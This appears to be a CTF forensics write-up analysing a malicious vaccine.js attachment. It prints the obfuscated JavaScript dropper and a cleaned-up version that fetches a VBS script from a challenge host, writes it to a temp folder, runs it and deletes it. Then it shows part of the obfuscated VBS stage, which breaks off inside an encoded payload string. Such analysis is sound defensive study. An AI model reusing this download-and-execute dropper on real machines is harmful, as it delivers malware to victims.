Writeups

HackTheBox University CTF 2023 - One Step Closer

· 7 min read

The first forensics challenge of HackTheBox Uni CTF challenged participants to analyze a malicious JavaScript attachment that lead to VBS and PowerShell execution.

Background

The challenge description was as follows: Tasked with defending the antidote’s research, a diverse group of students united against a relentless cyber onslaught. As codes clashed and defenses were tested, their collective effort stood as humanity’s beacon, inching closer to safeguarding the research for the cure with every thwarted attack. A stealthy attack might have penetrated their defenses. Along with the Hackster’s University students, analyze the provided file so you can detect this attack in the future.

Initial Access

The challenge provided a zip file, which when decompressed revealed a single JavaScript file called vaccine.js. The file contained three obfuscated sections of code - two functions and a few lines of code in the main body of the file. Before analyzing the functions, I searched for the function names in the rest of the code, and realized they were never called. Because of this, I decided to focus on reversing the main body of the file first.

The obfuscated code in the main body looked like this:

var lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo = new ActiveXObject("MSXML2.XMLHTTP.6.0");
var JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw = new ActiveXObject("Scripting.FileSystemObject");
var CBZgIjkHfADIgnNwHIVgtNUBrjVWafHrRLSEDPUswrmjNaNRlTvDJdozVFfzVMHzjpdEoPlopkYPcunDXLgZbCcQToMaDqHieSCkYfzqatlzDRQLBtqFKLlIFmxbDebsFmXdhiHTvGzmMWEYMqzotmHetctmiYuMUuOQqaEEejfRnHyuiJAkwFYKwLrvfTVaxVzqMtWo = new ActiveXObject("WScript.Shell");
var AWgjPuudKWaufCdsGlXcfGBXlWzhGnugaLFEZJkXljTIiTlWxLziYRhZzkEFdwJZiyWUhBJhdaulcmVYllmbyxEpozeZhAVxCXClTUUNYngPYhWwTcyNovmwukeWsnLJLifhihpqYKHbzEQKIknuNqTCdJWSnzlEIEhoNPhzhAXLCkxsMeeRXRsGrNCeOSIcnFkMnhoj = 'C:\\Windows\\Temp';
var iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbiName = JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.GetTempName() + ".vbs"; 
var iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi = JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.BuildPath(AWgjPuudKWaufCdsGlXcfGBXlWzhGnugaLFEZJkXljTIiTlWxLziYRhZzkEFdwJZiyWUhBJhdaulcmVYllmbyxEpozeZhAVxCXClTUUNYngPYhWwTcyNovmwukeWsnLJLifhihpqYKHbzEQKIknuNqTCdJWSnzlEIEhoNPhzhAXLCkxsMeeRXRsGrNCeOSIcnFkMnhoj, iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbiName);
lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.open("GET", "http://infected.human.htb/d/BKtQR", false);
lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.send();

if (lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.status === 200) {
    var scriptText = lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.responseText;
    var niyXKljCzNIENaWUxwYBODsAbUBFKCJJDbfyisBKTJpULtjrXSJIFBuGWkcmuhgDVdoSEMJPHvMzQiawcsBNhsfKbJlyQjzKLgnECDbAprhNSnXpNJwbwMQZWzJFAaxCQavQsDuRRIYXARrTgOjQgNHKgerFZvrghSUylvwuvszeCUHWvaOxTjgJDUzNCjCHYBnfbGOX = JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.CreateTextFile(iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi, true);
    niyXKljCzNIENaWUxwYBODsAbUBFKCJJDbfyisBKTJpULtjrXSJIFBuGWkcmuhgDVdoSEMJPHvMzQiawcsBNhsfKbJlyQjzKLgnECDbAprhNSnXpNJwbwMQZWzJFAaxCQavQsDuRRIYXARrTgOjQgNHKgerFZvrghSUylvwuvszeCUHWvaOxTjgJDUzNCjCHYBnfbGOX.write(scriptText);
    niyXKljCzNIENaWUxwYBODsAbUBFKCJJDbfyisBKTJpULtjrXSJIFBuGWkcmuhgDVdoSEMJPHvMzQiawcsBNhsfKbJlyQjzKLgnECDbAprhNSnXpNJwbwMQZWzJFAaxCQavQsDuRRIYXARrTgOjQgNHKgerFZvrghSUylvwuvszeCUHWvaOxTjgJDUzNCjCHYBnfbGOX.close();
    var kFDpRbkGYzMjxpDvpsBUmWdRZQYKzHzicYnHeVAsyBErEExScslrucqNQomSurYvoaVCTILMrbSKgXeYCBiPqVYDhrOfNUdYGDYmDMHXaJRqZfRmNBivjAFdHQctMgOOYTbLIzTfMwiDriqYXdfJORQtnVlwEfumyikULcvhUBQOztBlzheoLivROSUFkYoEgWpzuyVe = CBZgIjkHfADIgnNwHIVgtNUBrjVWafHrRLSEDPUswrmjNaNRlTvDJdozVFfzVMHzjpdEoPlopkYPcunDXLgZbCcQToMaDqHieSCkYfzqatlzDRQLBtqFKLlIFmxbDebsFmXdhiHTvGzmMWEYMqzotmHetctmiYuMUuOQqaEEejfRnHyuiJAkwFYKwLrvfTVaxVzqMtWo.Exec('wscript "' + iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi + '"');
    while (kFDpRbkGYzMjxpDvpsBUmWdRZQYKzHzicYnHeVAsyBErEExScslrucqNQomSurYvoaVCTILMrbSKgXeYCBiPqVYDhrOfNUdYGDYmDMHXaJRqZfRmNBivjAFdHQctMgOOYTbLIzTfMwiDriqYXdfJORQtnVlwEfumyikULcvhUBQOztBlzheoLivROSUFkYoEgWpzuyVe.Status === 0) {
        WScript.Sleep(100);
    }
    JzmzxutRESvvBNHRMgpQhJAmcuQNznBjwAbLtjLBPxoSGrvUCnwREryDvVBastJacHxICmpgOWJgUwSRXRwqAfFBpuXfuvQKeSHGMmiEVLNOXDrsiBQmKtBgrFvFnOEJvhaUPRsHWHJXFQABJnHSqYrABIaNvQjFElrbSrEIiGzCJnSHUlYQEbKNziGHlMlUiowWRPGw.DeleteFile(iQXNrUYfNRSDeYTqnnkAIHwOoiXzYicXoPIsDDsvvMnUvRWDdAoPhJQODSZHHiYLhONKLMuCrHuXfnbBOfSXYQRqtlzvJanjlYDvJPkIZzBBxzIPXbVvzIiVfxtXKEUaPQjQShbHdYcntUkfCfqOYGuzAbsGwzJAUvAZLujabnpPtDdTlZeepJmpUIpLJifXCeTPLhbi);

} else {
    WScript.Echo("Fatal: " + lOLMCBgGDMolnlotrwOCsILGbKwBtzwvlYFqZdGLMqDxTrcBnpLiTUBqFfekJSDzoSURpLfjiRFSkUbDiScOejegcwcjNbnqGNXuTbtsxWGWvICjWnbUbbSrdUVFqffbkvjTgFhvQddrraBIrYWfNFerCZkSxFapZwPgmIRIyaedLHpBnOvnVBXwzWPxOQJgZModJeUo.status);
}

Although this looks complicated at first glance, by just renaming the variables to something more readable using context clues from elsewhere in the code, it becomes much easier to understand:

var msxml_object = new ActiveXObject("MSXML2.XMLHTTP.6.0");
var scripting_filesystem_object = new ActiveXObject("Scripting.FileSystemObject");
var wscript_shell = new ActiveXObject("WScript.Shell");
var temp_dir = 'C:\\Windows\\Temp';
var vbs_script_file = scripting_filesystem_object.GetTempName() + ".vbs"; 
var path_to_vbs_script = scripting_filesystem_object.BuildPath(temp_dir, vbs_script_file);
msxml_object.open("GET", "http://infected.human.htb/d/BKtQR", false);
msxml_object.send();

if (msxml_object.status === 200) {
    var scriptText = msxml_object.responseText;
    var vbs_text_file = scripting_filesystem_object.CreateTextFile(path_to_vbs_script, true);
    vbs_text_file.write(scriptText);
    vbs_text_file.close();
    var vbs_execution_status = wscript_shell.Exec('wscript "' + path_to_vbs_script + '"');
    while (vbs_execution_status.Status === 0) {
        WScript.Sleep(100);
    }
    scripting_filesystem_object.DeleteFile(path_to_vbs_script);

} else {
    WScript.Echo("Fatal: " + msxml_object.status);
}

The code downloads a VBS script from http://infected.human.htb/d/BKtQR, saves it to a temporary file, and executes it. To continue the analysis, I used cURL to manually download the VBS script without executing it, and saved it to a file called htb_infected.vbs.

Phase Two: VBS

The VBS script was far longer and more obfuscated than the JavaScript, and was almost 1000 lines long. An example of what much of the file looked like is below:

iNVtSaitDqYDXJPxCfHWEAGYpemRZOHLslIzccealttvDCTUqMsJwWxzGzqbwJPbsFmAIyBdCUmDErCJhFpNugssgEeEfUuxLBqtODyIAbXsCkFaBkqihZAoxURjiseVzLxwJUwdDMykQieOhEfaMsBsvUxwRIIYumjFlLGFCwpaHHHySoCLcFnuaZhKvLWGhOnYCUQVSAeQRYgxSKGZX
    bBMSeGdXWzWWYkcbbZGWwQtGEGIVliXUdncyWQUOtMJjqXcTpQRfcltWEspfFbrIQxlCWyiWMjqewZnYmjlXlyubzhCvrVKRXBZwPcZBGVdocfIkWUQwXnrrByMhTGTZdgqohwHAZivRetLgZjmOBZaVjieAHIvCpErXkrDYXXfFqLVrhByAZjPwIBl:ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz = "  "
dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
    dLhruYXkSUsWBfoxTyNSHoQYYJqvJYqlGkAOIiO:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbN:CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMb = "bmnVUwD":uyXepXfituwktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUq:qSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQx:
ceihQqALcGOIRltJWcbOAcczSqDgPWBanKbSRhvIyWcOXwSUZYlOlkclnTvWYtPYJsIsCAOyBOKcIDbKqydbbQiROKGvDcbByIJqSQCGrePhAfCReMhvmGlwtLvcWqUCiAyqsZyYOpOIXbGruLZvpKmQRrqRlZiOocSlSZyyURrGTlriyLKUecKSRGfbDLCeQxKqwTaD  = "Jem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVQByem9tYmllcGwem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJwBoem9tYmllcHQem9tYmllcdem9tYmllcBwem9tYmllcDoem9tYmllcLwem9tYmllcvem9tYmllcGkem9tYmllcbgBmem9tYmllcGUem9tYmllcYwB0em9tYmllcGUem9tYmllcZem9tYmllcem9tYmllcuem9tYmllcHoem9tYmllcbwBtem9tYmllcGIem9tYmllcaQBlem9tYmllcC4em9tYmllcaem9tYmllcB0em9tYmllcGIem9tYmllcLwBXem9tYmllcEoem9tYmllcdgBlem9tYmllcFgem9tYmllcNwem9tYmllcxem9tYmllcGEem9tYmllcZwBtem9tYmllcE8em9tYmllcUQem9tYmllc2em9tYmllcEcem9tYmllcdwBfem9tYmllcDEem9tYmllcNgem9tYmllc5em9tYmllcDgem9tYmllcNwem9tYmllc2em9tYmllcDIem9tYmllcNgem9tYmllc0em9tYmllcDIem9tYmllcLgBqem9tYmllcHem9tYmllcem9tYmllcZwem9tYmllcnem9tYmllcDsem9tYmllcJem9tYmllcB3em9tYmllcGUem9tYmllcYgBDem9tYmllcGwem9tYmllcaQBlem9tYmllcG4em9tYmllcdem9tYmllcem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcBOem9tYmllcGUem9tYmllcdwem9tYmllctem9tYmllcE8em9tYmllcYgBqem9tYmllcGUem9tYmllcYwB0em9tYmllcCem9tYmllcem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBOem9tYmllcGUem9tYmllcdem9tYmllcem9tYmllcuem9tYmllcFcem9tYmllcZQBiem9tYmllcEMem9tYmllcbem9tYmllcBpem9tYmllcGUem9tYmllcbgB0em9tYmllcDsem9tYmllcJem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcQgB5em9tYmllcHQem9tYmllcZQBzem9tYmllcCem9tYmllcem9tYmllc" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "Qem9tYmllcgem9tYmllcCQem9tYmllcdwBlem9tYmllcGIem9tYmllcQwBsem9tYmllcGkem9tYmllcZQBuem9tYmllcHQem9tYmllcLgBEem9tYmllcG8em9tYmllcdwBuem9tYmllcGwem9tYmllcbwBhem9tYmllcGQem9tYmllcRem9tYmllcBhem9tYmllcHQem9tYmllcYQem9tYmllcoem9tYmllcCQem9tYmllcaQBtem9tYmllcGEem9tYmllcZwBlem9tYmllcFUem9tYmllccgBsem9tYmllcCkem9tYmllcOwem9tYmllckem9tYmllcGkem9tYmllcbQBhem9tYmllcGcem9tYmllcZQBUem9tYmllcGUem9tYmllceem9tYmllcB0em9tYmllcCem9tYmllcem9tYmllc" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "Qem9tYmllcgem9tYmllcFsem9tYmllcUwB5em9tYmllcHMem9tYmllcdem9tYmllcBlem9tYmllcG0em9tYmllcLgBUem9tYmllcGUem9tYmllceem9tYmllcB0em9tYmllcC4em9tYmllcRQBuem9tYmllcGMem9tYmllcbwBkem9tYmllcGkem9tYmllcbgBnem9tYmllcF0em9tYmllcOgem9tYmllc6em9tYmllcFUem9tYmllcVem9tYmllcBGem9tYmllcDgem9tYmllcLgBHem9tYmllcGUem9tYmllcdem9tYmllcBTem9tYmllcHQem9tYmllccgBpem9tYmllcG4em9tYmllcZwem9tYmllcoem9tYmllcCQem9tYmllcaQBtem9tYmllcGEem9tYmllcZwBlem9tYmllcEIem9tYmllceQB0em9tYmllcGUem9tYmllccwem9tYmllcpem9tYmllcDsem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcem9tYmllcnem9tYmllcDwem9tYmllc" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "em9tYmllcBCem9tYmllcEEem9tYmllcUwBFem9tYmllcDYem9tYmllcNem9tYmllcBfem9tYmllcFMem9tYmllcVem9tYmllcBBem9tYmllcFIem9tYmllcVem9tYmllcem9tYmllc+em9tYmllcD4em9tYmllcJwem9tYmllc7em9tYmllcCQem9tYmllcZQBuem9tYmllcGQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcem9tYmllcnem9tYmllcDwem9tYmllc" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "em9tYmllcBCem9tYmllcEEem9tYmllcUwBFem9tYmllcDYem9tYmllcNem9tYmllcBfem9tYmllcEUem9tYmllcTgBEem9tYmllcD4em9tYmllc" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "gem9tYmllcnem9tYmllcDsem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcCem9tYmllcem9tYmllc" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "Qem9tYmllcgem9tYmllcCQem9tYmllcaQBtem9tYmllcGEem9tYmllcZwBlem9tYmllcFQem9tYmllcZQB4em9tYmllcHQem9tYmllcLgBJem9tYmllcG4em9tYmllcZem9tYmllcBlem9tYmllcHgem9tYmllcTwBmem9tYmllcCgem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcpem9tYmllcDsem9tYmllcJem9tYmllcBlem9tYmllcG4em9tYmllcZem9tYmllcBJem9tYmllcG4em9tYmllcZem9tYmllcBlem9tYmllcHgem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVem9tYmllcBlem9tYmllcHgem9tYmllcdem9tYmllcem9tYmllcuem9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcB" & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & ktWMhVvYURXjUIktxhKqmvcExBWyIPxlNUaaUqEhWQYVZxXbidsZHoDhbZiJHyViRVqPjUWzOAufdSIiMmZz & CpBIhAVXkwtYAYiRfMTeXHopPLyLoHhHtDaysxBQVjyzsvObcTVjMbNSUUzYcYRzLGrFeKVgzpTOkjZKxzUMaoyacIakVgu & "em9tYmllcGYem9tYmllcKem9tYmllcem9tYmllckem9tYmllcGUem9tYmllcbgBkem9tYmllcEYem9tYmllcbem9tYmllcBhem9tYmllcGcem9tYmllcKQem9tYmllc7em9tYmllcCQem9tYmllccwB0em9tYmllcGEem9tYmllccgB0em9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcZwBlem9tYmllcCem9tYmllcem9tYmllcMem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcYQBuem9tYmllcGQem9tYmllcIem9tYmllcem9tYmllckem9tYmllcGUem9tYmllcbgBkem9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcZwB0em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcDsem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcCem9tYmllcem9tYmllcKwem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcRgBsem9tYmllcGEem9tYmllcZwem9tYmllcuem9tYmllcEwem9tYmllcZQBuem9tYmllcGcem9tYmllcdem9tYmllcBoem9tYmllcDsem9tYmllcJem9tYmllcBiem9tYmllcGEem9tYmllccwBlem9tYmllcDYem9tYmllcNem9tYmllcBMem9tYmllcGUem9tYmllcbgBnem9tYmllcHQem9tYmllcaem9tYmllcem9tYmllcgem9tYmllcD0em9tYmllcIem9tYmllcem9tYmllckem9tYmllcGUem9tYmllcbgBkem9tYmllcEkem9tYmllcbgBkem9tYmllcGUem9tYmllceem9tYmllcem9tYmllcgem9tYmllcC0em9tYmllcIem9tYmllcem9tYmllckem9tYmllcHMem9tYmllcdem9tYmllcBhem9tYmllcHIem9tYmllcdem9tYmllcBJem9tYmllcG4em9tYmllcZem9tYmllcBlem9tYmllcHgem9tYmllcOwem9tYmllckem9tYmllcGIem9tYmllcYQBzem9tYmllcGUem9tYmllcNgem9tYmllc0em9tYmllcEMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcIem9tYmllcem9tYmllc9em9tYmllcCem9tYmllcem9tYmllcJem9tYmllcBpem9tYmllcG0em9tYmllcYQBnem9tYmllcGUem9tYmllcVem9tYmllcBlem9tYmllcHgem9tYmllcdem9tYmllcem9tYmllcuem9tYmllcFMem9tYmllcdQBiem9tYmllcHMem9tYmllcdem9tYmllcByem9tYmllcGkem9tYmllcbgBnem9tYmllcCgem9tYmllcJem9tYmllcBzem9tYmllcHQem9tYmllcYQByem9tYmllcHQem9tYmllcSQBuem9tYmllcGQem9tYmllcZQB4em9tYmllcCwem9tYmllcIem9tYmllcem9tYmllckem9tYmllcGIem9tYmllcYQBzem9tYmllcGUem9tYmllcNgem9tYmllc0em9tYmllcEwem9tYmllcZQBuem9tYmllcGcem9tYmllcdem9tYmllcBoem9tYmllcCkem9tYmllcOwem9tYmllckem9tYmllcGMem9tYmllcbwBtem9tYmllcG0em9tYmllcYQBuem9tYmllcGQem9tYmllcQgB5em9tYmllcHQem9tYmllcZQBzem9tYmllcCem9tYmllcem9tY